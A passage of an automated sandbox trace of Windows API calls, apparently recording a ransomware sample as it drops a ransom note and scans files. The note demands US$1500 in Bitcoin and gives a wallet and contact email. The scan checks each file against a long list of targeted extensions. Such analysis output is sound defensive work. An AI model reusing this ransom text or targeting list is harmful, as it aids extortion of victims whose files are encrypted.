(pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*.*") returned="*.*" [0090.181] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" [0090.181] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="" [0090.181] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\HOW TO DECRYPT FILES.txt" [0090.181] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\how to decrypt files.txt")) returned 0xffffffff [0090.181] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0090.182] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0090.182] WriteFile (in: hFile=0x8c, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0090.184] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0090.184] CloseHandle (hObject=0x8c) returned 1 [0090.184] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\", lpString2="MSN Autos.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" [0090.184] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.ems") returned 0 [0090.184] lstrlenA (lpString="*.ems") returned 5 [0090.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.db") returned 0 [0090.185] lstrlenA (lpString="*.db") returned 4 [0090.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.dbf") returned 0 [0090.185] lstrlenA (lpString="*.dbf") returned 5 [0090.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.myox") returned 0 [0090.185] lstrlenA (lpString="*.myox") returned 6 [0090.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.myo") returned 0 [0090.185] lstrlenA (lpString="*.myo") returned 5 [0090.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.qbw") returned 0 [0090.185] lstrlenA (lpString="*.qbw") returned 5 [0090.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.qbb") returned 0 [0090.185] lstrlenA (lpString="*.qbb") returned 5 [0090.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.qbm") returned 0 [0090.185] lstrlenA (lpString="*.qbm") returned 5 [0090.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.qbo") returned 0 [0090.185] lstrlenA (lpString="*.qbo") returned 5 [0090.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.qbx") returned 0 [0090.185] lstrlenA (lpString="*.qbx") returned 5 [0090.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.qba") returned 0 [0090.186] lstrlenA (lpString="*.qba") returned 5 [0090.186] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.qby") returned 0 [0090.186] lstrlenA (lpString="*.qby") returned 5 [0090.186] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.qbj") returned 0 [0090.186] lstrlenA (lpString="*.qbj") returned 5 [0090.186] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.ofx") returned 0 [0090.186] lstrlenA (lpString="*.ofx") returned 5 [0090.186] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.qif") returned 0 [0090.186] lstrlenA (lpString="*.qif") returned 5 [0090.186] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.mye") returned 0 [0090.186] lstrlenA (lpString="*.mye") returned 5 [0090.186] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.mbox") returned 0 [0090.186] lstrlenA (lpString="*.mbox") returned 6 [0090.186] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.eml") returned 0 [0090.186] lstrlenA (lpString="*.eml") returned 5 [0090.186] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.pst") returned 0 [0090.186] lstrlenA (lpString="*.pst") returned 5 [0090.186] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.ost") returned 0 [0090.187] lstrlenA (lpString="*.ost") returned 5 [0090.187] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.idx") returned 0 [0090.187] lstrlenA (lpString="*.idx") returned 5 [0090.187] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.dbx") returned 0 [0090.187] lstrlenA (lpString="*.dbx") returned 5 [0090.187] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.sql") returned 0 [0090.187] lstrlenA (lpString="*.sql") returned 5 [0090.187] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.mdb") returned 0 [0090.187] lstrlenA (lpString="*.mdb") returned 5 [0090.187] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.fdb") returned 0 [0090.187] lstrlenA (lpString="*.fdb") returned 5 [0090.187] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.wab") returned 0 [0090.187] lstrlenA (lpString="*.wab") returned 5 [0090.187] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.dat") returned 0 [0090.187] lstrlenA (lpString="*.dat") returned 5 [0090.187] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.txt") returned 0 [0090.187] lstrlenA (lpString="*.txt") returned 5 [0090.187] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.jpeg") returned 0 [0090.188] lstrlenA (lpString="*.jpeg") returned 6 [0090.188] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.jpg") returned 0 [0090.188] lstrlenA (lpString="*.jpg") returned 5 [0090.188] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.png") returned 0 [0090.188] lstrlenA (lpString="*.png") returned 5 [0090.188] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.php") returned 0 [0090.188] lstrlenA (lpString="*.php") returned 5 [0090.188] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.cs") returned 0 [0090.188] lstrlenA (lpString="*.cs") returned 4 [0090.188] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.cpp") returned 0 [0090.188] lstrlenA (lpString="*.cpp") returned 5 [0090.188] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.rar") returned 0 [0090.188] lstrlenA (lpString="*.rar") returned 5 [0090.188] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.zip") returned 0 [0090.188] lstrlenA (lpString="*.zip") returned 5 [0090.188] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.html") returned 0 [0090.188] lstrlenA (lpString="*.html") returned 6 [0090.188] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.htm") returned 0 [0090.189] lstrlenA (lpString="*.htm") returned 5 [0090.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.xlsx") returned 0 [0090.189] lstrlenA (lpString="*.xlsx") returned 6 [0090.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.xls") returned 0 [0090.189] lstrlenA (lpString="*.xls") returned 5 [0090.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.mp4") returned 0 [0090.189] lstrlenA (lpString="*.mp4") returned 5 [0090.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.ppt") returned 0 [0090.189] lstrlenA (lpString="*.ppt") returned 5 [0090.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.pptx") returned 0 [0090.189] lstrlenA (lpString="*.pptx") returned 6 [0090.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.doc") returned 0 [0090.189] lstrlenA (lpString="*.doc") returned 5 [0090.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.dot") returned 0 [0090.189] lstrlenA (lpString="*.dot") returned 5 [0090.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.docx") returned 0 [0090.189] lstrlenA (lpString="*.docx") returned 6 [0090.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.7z") returned 0 [0090.189] lstrlenA (lpString="*.7z") returned 4 [0090.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.tar") returned 0 [0090.190] lstrlenA (lpString="*.tar") returned 5 [0090.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.bz2") returned 0 [0090.190] lstrlenA (lpString="*.bz2") returned 5 [0090.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.gz") returned 0 [0090.190] lstrlenA (lpString="*.gz") returned 4 [0090.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.mkv") returned 0 [0090.190] lstrlenA (lpString="*.mkv") returned 5 [0090.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.eml") returned 0 [0090.190] lstrlenA (lpString="*.eml") returned 5 [0090.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.msg") returned 0 [0090.190] lstrlenA (lpString="*.msg") returned 5 [0090.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.edb") returned 0 [0090.190] lstrlenA (lpString="*.edb") returned 5 [0090.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.accdb") returned 0 [0090.190] lstrlenA (lpString="*.accdb") returned 7 [0090.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.odb") returned 0 [0090.190] lstrlenA (lpString="*.odb") returned 5 [0090.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.java") returned 0 [0090.190] lstrlenA (lpString="*.java") returned 6 [0090.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.asm") returned 0 [0090.191] lstrlenA (lpString="*.asm") returned 5 [0090.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.pfx") returned 0 [0090.191] lstrlenA (lpString="*.pfx") returned 5 [0090.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.pem") returned 0 [0090.191] lstrlenA (lpString="*.pem") returned 5 [0090.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.p12") returned 0 [0090.191] lstrlenA (lpString="*.p12") returned 5 [0090.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.gpg") returned 0 [0090.191] lstrlenA (lpString="*.gpg") returned 5 [0090.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.vsd") returned 0 [0090.191] lstrlenA (lpString="*.vsd") returned 5 [0090.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.odg") returned 0 [0090.191] lstrlenA (lpString="*.odg") returned 5 [0090.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.raw") returned 0 [0090.191] lstrlenA (lpString="*.raw") returned 5 [0090.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.nef") returned 0 [0090.191] lstrlenA (lpString="*.nef") returned 5 [0090.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.svg") returned 0 [0090.192] lstrlenA (lpString="*.svg") returned 5 [0090.192] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.psd") returned 0 [0090.192] lstrlenA (lpString="*.psd") returned 5 [0090.192] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.vmx") returned 0 [0090.192] lstrlenA (lpString="*.vmx") returned 5 [0090.192] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.vmdk") returned 0 [0090.192] lstrlenA (lpString="*.vmdk") returned 6 [0090.192] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.vdi") returned 0 [0090.192] lstrlenA (lpString="*.vdi") returned 5 [0090.192] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.lay6") returned 0 [0090.192] lstrlenA (lpString="*.lay6") returned 6 [0090.192] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.mpeg") returned 0 [0090.192] lstrlenA (lpString="*.mpeg") returned 6 [0090.192] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.djvu") returned 0 [0090.192] lstrlenA (lpString="*.djvu") returned 6 [0090.192] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.tiff") returned 0 [0090.192] lstrlenA (lpString="*.tiff") returned 6 [0090.192] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.backup") returned 0 [0090.192] lstrlenA (lpString="*.backup") returned 8 [0090.192] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.pdf") returned 0 [0090.193] lstrlenA (lpString="*.pdf") returned 5 [0090.193] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.cert") returned 0 [0090.193] lstrlenA (lpString="*.cert") returned 6 [0090.193] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.docm") returned 0 [0090.193] lstrlenA (lpString="*.docm") returned 6 [0090.193] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.xlsm") returned 0 [0090.193] lstrlenA (lpString="*.xlsm") returned 6 [0090.193] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.dwg") returned 0 [0090.193] lstrlenA (lpString="*.dwg") returned 5 [0090.193] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.nd") returned 0 [0090.193] lstrlenA (lpString="*.nd") returned 4 [0090.193] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.tlg") returned 0 [0090.193] lstrlenA (lpString="*.tlg") returned 5 [0090.193] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.lgb") returned 0 [0090.193] lstrlenA (lpString="*.lgb") returned 5 [0090.193] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.mov") returned 0 [0090.193] lstrlenA (lpString="*.mov") returned 5 [0090.193] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.xdw") returned 0 [0090.193] lstrlenA (lpString="*.xdw") returned 5 [0090.193] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.ods") returned 0 [0090.194] lstrlenA (lpString="*.ods") returned 5 [0090.194] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.wav") returned 0 [0090.194] lstrlenA (lpString="*.wav") returned 5 [0090.194] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.mp3") returned 0 [0090.194] lstrlenA (lpString="*.mp3") returned 5 [0090.194] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.aiff") returned 0 [0090.194] lstrlenA (lpString="*.aiff") returned 6 [0090.194] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.flac") returned 0 [0090.194] lstrlenA (lpString="*.flac") returned 6 [0090.194] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.m4a") returned 0 [0090.194] lstrlenA (lpString="*.m4a") returned 5 [0090.194] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", pszSpec="*.csv") returned 0 [0090.194] lstrlenA (lpString="*.csv") returned 5 [0090.194] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0090.194] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0090.194] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MSN Entertainment.url") returned -1 [0090.194] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MSN Entertainment.url") returned -1 [0090.194] lstrcmpiA (lpString1="", lpString2="MSN Entertainment.url") returned -1 [0090.194] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url") returned="MSN Autos.url" [0090.195] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" [0090.195] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="" [0090.195] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\HOW TO DECRYPT FILES.txt" [0090.195] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\how to decrypt files.txt")) returned 0x20 [0090.195] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\", lpString2="MSN Entertainment.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" [0090.195] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url", pszSpec="*.ems") returned 0 [0090.195] lstrlenA (lpString="*.ems") returned 5 [0090.195] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url", pszSpec="*.db") returned 0 [0090.195] lstrlenA (lpString="*.db") returned 4 [0090.195] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url", pszSpec="*.dbf") returned 0 [0090.195] lstrlenA (lpString="*.dbf") returned 5 [0090.195] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url", pszSpec="*.myox") returned 0 [0090.195] lstrlenA (lpString="*.myox") returned 6 [0090.195] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url", pszSpec="*.myo") returned 0 [0090.195] lstrlenA (lpString="*.myo") returned 5 [0090.195] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url", pszSpec="*.qbw") returned 0 [0090.195] lstrlenA (lpString="*.qbw") returned 5 [0090.196] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url", pszSpec="*.qbb") returned 0 [0090.196] lstrlenA (lpString="*.qbb") returned 5 [0090.196] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url", pszSpec="*.qbm") returned 0 [0090.196] 